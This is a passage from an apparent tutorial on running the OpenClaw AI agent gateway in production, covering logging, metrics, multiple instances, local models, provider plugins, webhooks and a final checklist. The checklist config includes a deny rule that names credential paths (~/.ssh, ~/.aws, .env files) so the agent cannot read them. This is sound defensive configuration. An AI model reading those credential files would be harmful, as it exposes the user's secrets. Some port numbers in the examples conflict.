Why It Matters: OpenClaw releases frequently — weekly patches, monthly features, quarterly major versions. Staying on an old version means missing security patches (prompt injection defenses evolve with attacks) and bug fixes (LLM provider API changes break stale clients). The --check flag enables controlled rollout: check for updates, review changelog, schedule maintenance window, update, verify. Teams with reliability requirements use the stable channel (tested for 2+ weeks), while early adopters use beta to influence feature direction. The automatic daemon restart after update minimizes downtime to seconds.

Example 74: Log Aggregation and Monitoring

Forward OpenClaw logs to external monitoring systems for centralized observability. Supports structured JSON output compatible with ELK Stack, Datadog, Grafana Loki, and Splunk.

// ~/.openclaw/openclaw.json
{
  logging: {
    level: "info",
    format: "json", // => Structured JSON for machine parsing
    outputs: [
      {
        type: "file", // => Local file output
        path: "~/.openclaw/logs/gateway.jsonl",
        rotation: {
          maxSize: "100MB", // => Rotate when file reaches 100MB
          maxFiles: 10, // => Keep 10 rotated files
        },
      },
      {
        type: "stdout", // => Console output (for daemon logs)
      },
    ],
  },
}
# Forward to monitoring (examples)
 
# Datadog agent (reads JSONL files)
# /etc/datadog-agent/conf.d/openclaw.yaml:
# logs:
#   - type: file
#     path: ~/.openclaw/logs/gateway.jsonl
#     service: openclaw
#     source: openclaw
 
# Grafana Loki via promtail
# promtail-config.yaml:
# scrape_configs:
#   - job_name: openclaw
#     static_configs:
#       - targets: [localhost]
#         labels:
#           job: openclaw
#           __path__: ~/.openclaw/logs/gateway.jsonl
 
# Quick local monitoring via jq
tail -f ~/.openclaw/logs/gateway.jsonl | jq 'select(.level == "error")'
                                        # => Stream errors only in real-time
                                        # => Useful for development debugging

Key Takeaway: Configure logging.outputs for file output with rotation. Use structured JSON format for compatibility with monitoring systems (Datadog, Loki, ELK).

Why It Matters: Console logs disappear when the terminal closes. File logs without rotation fill disks. Unstructured logs resist automated analysis. Properly configured logging solves all three: rotated files prevent disk issues, JSON format enables automated alerting (trigger PagerDuty when error rate exceeds threshold), and centralized aggregation (Datadog, Grafana) provides dashboards showing message volume, error rates, model latency, and token consumption over time. For production deployments, these metrics are not optional — they're how you answer "is the bot performing well?" without manually checking every conversation.

Scaling and Monitoring Patterns (Examples 75-80)

Example 75: Gateway Metrics

The gateway exposes Prometheus-compatible metrics for monitoring performance, resource usage, and cost tracking.

// ~/.openclaw/openclaw.json
{
  gateway: {
    metrics: {
      enabled: true, // => Enable Prometheus metrics endpoint
      port: 18791, // => Metrics HTTP port
      path: "/metrics", // => Metrics endpoint path
    },
  },
}
curl http://localhost:18791/metrics      # => Prometheus-format metrics
                                        # => Output (selection):
 
# openclaw_messages_total{channel="telegram",direction="received"} 1523
                                        # => Total messages received from Telegram
 
# openclaw_tokens_total{provider="anthropic",model="claude-sonnet-4-6"} 2847593
                                        # => Total tokens consumed
 
# openclaw_tool_invocations_total{tool="exec"} 342
                                        # => Total exec tool calls
 
# openclaw_response_latency_seconds{channel="slack",quantile="0.95"} 2.4
                                        # => 95th percentile response time
 
# openclaw_active_sessions 12
                                        # => Currently active sessions
 
# openclaw_cost_dollars_total{provider="anthropic"} 47.23
                                        # => Total cost in USD

Key Takeaway: Enable gateway.metrics for Prometheus-compatible metrics. Monitor message volume, token usage, tool invocations, latency, and cost.

Why It Matters: "Is the bot slow?" is a subjective question without metrics. With Prometheus data, you measure exactly: 95th percentile latency is 2.4 seconds (acceptable) or 15 seconds (investigate). Token consumption trends reveal cost projections — if daily spend is increasing 10% week-over-week, you'll exceed budget before month end. Tool invocation counts highlight which tools are most used (optimize those first) and which are never used (consider removing). Grafana dashboards built on these metrics give operations teams real-time visibility into AI agent health, turning "I think the bot is broken" into "the error rate spiked at 14:32 correlating with an Anthropic API outage."

Example 76: Multiple Gateway Instances

Run multiple OpenClaw gateway instances on the same machine for isolation between workloads. Each instance has its own config, port, and workspace.

# Instance 1: Personal assistant (port 18789)
OPENCLAW_CONFIG=~/.openclaw/personal.json openclaw gateway start --port 18789
                                        # => Personal channels (Telegram DM)
                                        # => Personal skills and sessions
 
# Instance 2: Team assistant (port 18790)
OPENCLAW_CONFIG=~/.openclaw/team.json openclaw gateway start --port 18790
                                        # => Team channels (Slack)
                                        # => Shared team skills
 
# Instance 3: Ops automation (port 18791)
OPENCLAW_CONFIG=~/.openclaw/ops.json openclaw gateway start --port 18792
                                        # => Ops channels (PagerDuty webhooks)
                                        # => Monitoring and alerting skills
// ~/.openclaw/personal.json
{
  gateway: { port: 18789 },
  agents: {
    defaults: {
      workspace: "~/.openclaw/workspaces/personal/",
                                        // => Isolated workspace per instance
      model: { primary: "anthropic/claude-haiku-4-5" },
                                        // => Cheap model for personal use
    },
  },
}
 
// ~/.openclaw/team.json
{
  gateway: { port: 18790 },
  agents: {
    defaults: {
      workspace: "~/.openclaw/workspaces/team/",
      model: { primary: "anthropic/claude-sonnet-4-6" },
    },
  },
}

Key Takeaway: Run multiple instances with different OPENCLAW_CONFIG files and --port flags. Each instance gets its own workspace directory for full isolation.

Why It Matters: Single-instance deployment creates conflict between workloads: personal Telegram messages share rate limits with team Slack queries, a skill bug in ops monitoring crashes the personal assistant, and session data from different contexts mingles in one workspace. Multiple instances provide workload isolation — the ops gateway can crash and restart without affecting team or personal assistants. This pattern also enables per-workload cost tracking (each instance's metrics show its own token consumption) and independent update rollouts (test new version on personal instance before updating team instance).

Example 77: Local Model Integration with Ollama

Connect OpenClaw to locally-running LLMs via Ollama. No API keys needed, no data leaves your machine, and responses work offline.

# Install and start Ollama
brew install ollama                     # => Install Ollama (macOS)
ollama serve                            # => Start Ollama server
                                        # => Default: http://localhost:11434
ollama pull llama3.3                    # => Download Llama 3.3 model
                                        # => ~4GB download
// ~/.openclaw/openclaw.json
{
  providers: {
    ollama: {
      baseUrl: "http://localhost:11434", // => Local Ollama server
      // => No API key needed
      // => Data stays on machine
    },
  },
  agents: {
    defaults: {
      model: {
        primary: "ollama/llama3.3", // => Use local Llama 3.3 model
        // => Format: ollama/model-name
        fallbacks: [
          "anthropic/claude-haiku-4-5", // => Fallback to cloud if local too slow
        ],
      },
    },
  },
}
# Verify local model works
openclaw agent -m "Hello, which model are you?"
                                        # => Uses local Ollama model
                                        # => Response: "I am Llama 3.3..."
                                        # => No network request to cloud providers

Key Takeaway: Install Ollama, pull a model, and set ollama/<model-name> as primary provider. No API keys required. Add cloud models as fallbacks for quality-sensitive tasks.

Why It Matters: Local models solve three problems cloud APIs cannot: privacy (data never leaves the machine — critical for healthcare, legal, government), cost (no per-token charges after initial download — ideal for high-volume automation), and availability (works offline — useful for air-gapped environments, travel, network outages). The trade-off is quality: Llama 3.3 is capable but not Claude Opus-level for complex reasoning. The fallback pattern (local primary, cloud fallback) balances privacy and quality: routine queries run locally for free, while complex tasks fall back to cloud models. This hybrid approach can reduce cloud LLM costs by 70-90% for workloads dominated by simple queries.

Example 78: Custom Model Provider Plugin

Build a provider plugin to connect OpenClaw to LLM APIs not supported out-of-the-box — internal model servers, fine-tuned models, or niche providers.

// src/providers/custom-llm.ts
import { defineProvider } from "openclaw/plugin";
// => Import provider definition helper
 
export default defineProvider({
  name: "custom-llm", // => Provider identifier
  description: "Connects to internal LLM server",
 
  config: {
    baseUrl: { type: "string", required: true },
    apiKey: { type: "string" },
  },
 
  async chat(messages, options, config) {
    // => Core method: handle chat completion
    // => messages: conversation history
    // => options: model, temperature, max_tokens
    // => config: resolved provider config
    const response = await fetch(`${config.baseUrl}/v1/chat/completions`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        ...(config.apiKey ? { Authorization: `Bearer ${config.apiKey}` } : {}),
      },
      body: JSON.stringify({
        model: options.model,
        messages: messages.map((m) => ({
          role: m.role, // => "system", "user", "assistant"
          content: m.content, // => Message text
        })),
        temperature: options.temperature ?? 0.7,
        max_tokens: options.maxTokens ?? 4096,
      }),
    }); // => Forward to OpenAI-compatible API
 
    const data = await response.json();
    return {
      content: data.choices[0].message.content,
      usage: {
        promptTokens: data.usage.prompt_tokens,
        completionTokens: data.usage.completion_tokens,
      },
    }; // => Return response in OpenClaw format
  },
});
// openclaw.json — Use custom provider
{
  providers: {
    "custom-llm": {
      baseUrl: "https://internal-llm.company.com",
      apiKey: "${INTERNAL_LLM_KEY}",
    },
  },
  agents: {
    defaults: {
      model: {
        primary: "custom-llm/our-fine-tuned-model",
      },
    },
  },
}

Key Takeaway: Custom providers implement defineProvider with a chat method that handles message formatting and API communication. Any OpenAI-compatible API works with minimal adaptation.

Why It Matters: Enterprises run internal LLM servers (fine-tuned models, on-premise deployments, GPU clusters) that don't expose standard APIs. Custom providers bridge this gap — OpenClaw's tool system, skill engine, and channel routing work identically regardless of which LLM backend processes the request. This decoupling means organizations can start with Claude/GPT, then migrate to internal models as they mature, without rewriting skills or reconfiguring channels. The provider abstraction also enables A/B testing: route 10% of traffic to a fine-tuned model and compare quality metrics against the baseline.

Example 79: Webhook Integration for External Systems

Configure webhook endpoints on the gateway to receive events from external systems — CI/CD pipelines, monitoring alerts, form submissions — and process them with AI.

// ~/.openclaw/openclaw.json
{
  gateway: {
    webhooks: {
      enabled: true, // => Enable webhook receiver
      port: 18793, // => HTTP port for webhooks
      endpoints: [
        {
          path: "/webhook/github", // => GitHub webhook endpoint
          secret: "${GITHUB_WEBHOOK_SECRET}",
          // => Validates webhook signatures
          skill: "github_handler", // => Skill to process events
        },
        {
          path: "/webhook/alerts", // => Monitoring alert endpoint
          secret: "${ALERT_WEBHOOK_SECRET}",
          skill: "alert_handler",
          forwardTo: ["slack:#ops-alerts"],
          // => Auto-forward to Slack channel
        },
      ],
    },
  },
}
# ~/.openclaw/workspace/skills/github-handler/SKILL.md
 
---
 
name: github_handler
description: Processes GitHub webhook events (PR, issues, pushes)
 
---
 
# GitHub Webhook Handler
 
When receiving a GitHub webhook event:
 
## Pull Request Events
 
- If action is "opened": summarize the PR diff and post to #dev Slack
- If action is "review_requested": notify the reviewer via Telegram
 
## Issue Events
 
- If action is "opened" with label "bug": create incident report
- If action is "closed": update tracking dashboard
 
## Push Events
 
- If branch is "main": run deployment checklist skill

Key Takeaway: Configure webhooks with authenticated endpoints (secret for signature validation) that trigger skills. Use forwardTo for automatic channel notifications.

Why It Matters: Webhooks connect OpenClaw to the broader software development lifecycle — GitHub events, CI failures, monitoring alerts, and customer form submissions all flow into the AI agent for intelligent processing. Traditional webhook handlers are rigid: a Lambda function parses JSON and posts a formatted message to Slack. OpenClaw's skill-based webhook handling adds intelligence: the agent reads the PR diff, summarizes changes, identifies potential issues, and posts a useful review to Slack — not just "PR #123 opened." This transforms webhooks from notification pipes into intelligent event processors.

Example 80: Production Deployment Checklist

A comprehensive checklist combining all security, reliability, and monitoring patterns into a production-ready OpenClaw deployment.

%% Color Palette: Blue #0173B2, Orange #DE8F05, Teal #029E73, Purple #CC78BC, Brown #CA9161
graph TD
    A["Security<br/>Sandbox, ACLs, Filtering"]
    B["Reliability<br/>Daemon, Health, Backup"]
    C["Monitoring<br/>Metrics, Logs, Alerts"]
    D["Cost Control<br/>Rate Limits, Model Selection"]
    E["Production Ready"]
 
    A --> E
    B --> E
    C --> E
    D --> E
 
    style A fill:#0173B2,stroke:#000,color:#fff
    style B fill:#DE8F05,stroke:#000,color:#fff
    style C fill:#029E73,stroke:#000,color:#fff
    style D fill:#CC78BC,stroke:#000,color:#fff
    style E fill:#CA9161,stroke:#000,color:#fff

Checklist configuration:

// ~/.openclaw/openclaw.production.json — Complete production config
{
  // 1. SECURITY
  tools: {
    allow: ["web_search", "web_fetch", "group:fs"],
    deny: ["browser"], // => Deny unless specifically needed
    exec: {
      sandbox: true, // => ✓ Sandboxed exec (Example 62)
      allowCommands: ["git *", "npm run *", "docker ps"],
      maxExecutionTime: 30000,
    },
    fs: {
      denyPaths: ["~/.ssh/**", "~/.aws/**", "**/.env*"],
      // => ✓ Filesystem sandbox (Example 63)
    },
  },
  safety: {
    inputFilters: { enabled: true }, // => ✓ Content filtering (Example 68)
    outputFilters: { enabled: true },
  },
 
  // 2. RELIABILITY
  agents: {
    defaults: {
      model: {
        primary: "anthropic/claude-sonnet-4-6",
        fallbacks: ["openai/gpt-4o"], // => ✓ Model fallback (Example 8)
      },
    },
  },
  gateway: {
    healthCheck: {
      enabled: true, // => ✓ Health endpoints (Example 70)
      port: 18790,
    },
  },
 
  // 3. MONITORING
  logging: {
    level: "info",
    format: "json",
    audit: { enabled: true }, // => ✓ Audit logging (Example 67)
    outputs: [
      {
        type: "file",
        path: "~/.openclaw/logs/gateway.jsonl",
        rotation: { maxSize: "100MB", maxFiles: 10 },
      },
    ], // => ✓ Log aggregation (Example 74)
  },
 
  // 4. COST CONTROL
  rateLimit: {
    global: {
      maxCostPerDay: 100.0, // => ✓ Cost cap (Example 66)
      maxTokensPerHour: 1000000,
    },
    perUser: {
      maxRequestsPerMinute: 10,
      maxTokensPerHour: 100000,
    },
  },
 
  // 5. CHANNELS (with per-channel security)
  channels: {
    telegram: {
      enabled: true,
      botToken: "${TELEGRAM_BOT_TOKEN}", // => ✓ Env var secrets (Example 12)
      allowFrom: ["tg:OWNER_ID"], // => ✓ Access control (Example 34)
    },
    slack: {
      enabled: true,
      botToken: "${SLACK_BOT_TOKEN}",
      appToken: "${SLACK_APP_TOKEN}",
      activation: "mention",
      allowChannels: ["#dev-ai"],
    },
  },
}
# Production deployment steps:
# 1. Validate config
openclaw doctor                         # => Verify all settings
                                        # => Fix issues before deploying
 
# 2. Backup current state
openclaw backup create                  # => Backup before changes
 
# 3. Start with production config
OPENCLAW_ENV=production openclaw daemon restart
                                        # => Load production overrides
                                        # => Restart daemon with new config
 
# 4. Verify health
curl http://localhost:18790/health      # => Confirm healthy status
                                        # => All channels connected
                                        # => All providers reachable
 
# 5. Monitor
tail -f ~/.openclaw/logs/gateway.jsonl | jq 'select(.level == "error")'
                                        # => Watch for startup errors
                                        # => Verify no immediate issues

Key Takeaway: Production deployment combines security (sandbox, ACLs, filtering), reliability (daemon, health checks, fallbacks), monitoring (metrics, audit logs, alerting), and cost control (rate limits, model selection) into a single validated configuration.

Why It Matters: Each individual security, reliability, and monitoring pattern provides marginal protection. Combined, they create defense-in-depth: sandboxed tools limit what the agent can do, access controls limit who can ask it, content filtering catches attacks the other layers miss, rate limits cap financial exposure, health checks detect failures, audit logs enable forensics, and backups enable recovery. This checklist represents months of production incident learnings across the OpenClaw community — each item exists because someone, somewhere, learned the hard way what happens without it.

Last updated April 12, 2026

Command Palette

Search for a command to run...